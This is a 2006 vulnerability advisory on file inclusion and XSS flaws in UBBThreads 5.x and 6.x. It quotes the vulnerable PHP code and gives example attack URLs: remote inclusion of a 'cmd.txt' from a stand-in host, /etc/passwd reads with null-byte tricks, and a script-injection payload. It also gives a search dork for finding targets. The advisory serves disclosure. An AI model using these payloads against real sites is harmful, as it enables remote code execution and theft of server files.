Advisory: UBBThreads 5.x,6.x Multiple File Inclusion Vulnerabilities.

–Security Report–
Advisory: UBBThreads 5.x,6.x Multiple File Inclusion Vulnerabilities.

Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI

Date: 27/05/06 09:44 PM

Contacts:{
ICQ: 10072
MSN/Email: [email protected]
Web: http://www.nukedx.com
}

Vendor: Infopop (http://www.infopop.com/)
Version: 5.x and 6.x also prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to
UBBThreads.The thispath and configdir in
ubbt.inc.php did not sanitized before using it.You can find vulnerable
code in ubbt.inc.php at lines 23-42
-Source in ubbt.inc.php-
23: if (!$configdir) {
24: $configdir = $thispath;
25: }
26:
27: // ------------------------------------------------------------------
28: // In case register globals are on we need to protect a few variables
29: if (
30: isset($HTTP_GET_VARS['thispath'])
31: || isset($HTTP_POST_VARS['thispath'])
32: || isset($HTTP_COOKIE_VARS['thispath'])
33: || isset($HTTP_POST_FILES['thispath'])
34: || isset($HTTP_GET_VARS['configdir'])
35: || isset($HTTP_POST_VARS['configdir'])
36: || isset($HTTP_COOKIE_VARS['configdir'])
37: || isset($HTTP_POST_FILES['configdir']) )
38: {
39: exit;
40: }
41:
42: include("$configdir/config.inc.php");
-End of source-
So if register_globals on remote attacker could inject arbitrary
variable by GLOBALS[thispath].
Also if php <= 4.1.0 there is no $HTTP_* tags so remote attacker can
use thispath in QueryString.This works on version 6.x
For version 5.x there is no variable check in ubbt.inc.php so remote
attacker can inject thispath to QueryString and include
external and internal files.
Including internal files requires that magic_quotes_gpc off.
There is another inclusion vulnerability in includepollresults.php for
version 6.x. Parameters config[cookieprefix]
and w3t_language did not sanitized properly before using them.So it
lets remote attacker can include arbitrary internal files.
You can find vulnerable code in includepollresults.php at lines 24
-Source code in includepollresults.php-
24: require
("languages/${$config['cookieprefix']."w3t_language"}/includepollresults.php");
-End of source-
There is also XSS vulnerability in all pages.If debug parameter sent
by QueryString it lets remote attacker make a malicious
links for clicking and execute arbitrary HTML/JS/VBS etc… codes in
victim's browser.
Level: Highly Critical

How&Example:
Succesful exploitation register_globals on
Version 6.x
GET ->
http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=[FILE]
EXAMPLE ->
http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=…/…/…/…/…/etc/passwd%00
GET -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=[FILE]
EXAMPLE ->
http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=http://yoursite.com/cmd.txt?
EXAMPLE ->
http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=/etc/passwd%00
If php version < 4.1.0 or UBB version <= 5.x
GET -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=[FILE]
EXAMPLE ->
http://[site]/[ubbpath]/ubbt.inc.php?thispath=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=/etc/passwd%00
XSS:
GET -> http://[site]/[ubbpath]/index.php?debug=[XSS]
EXAMPLE -> http://[site]/[ubbpath]/index.php?debug=<script>alert();</script>

Timeline:

• 27/05/2006: Vulnerability found.
• 27/05/2006: Contacted with vendor and waiting reply.

Exploit: http://www.nukedx.com/?getxpl=40

Original advisory can be found at: http://www.nukedx.com/?viewdoc=40

Dorks: "UBB.threadsâ„¢"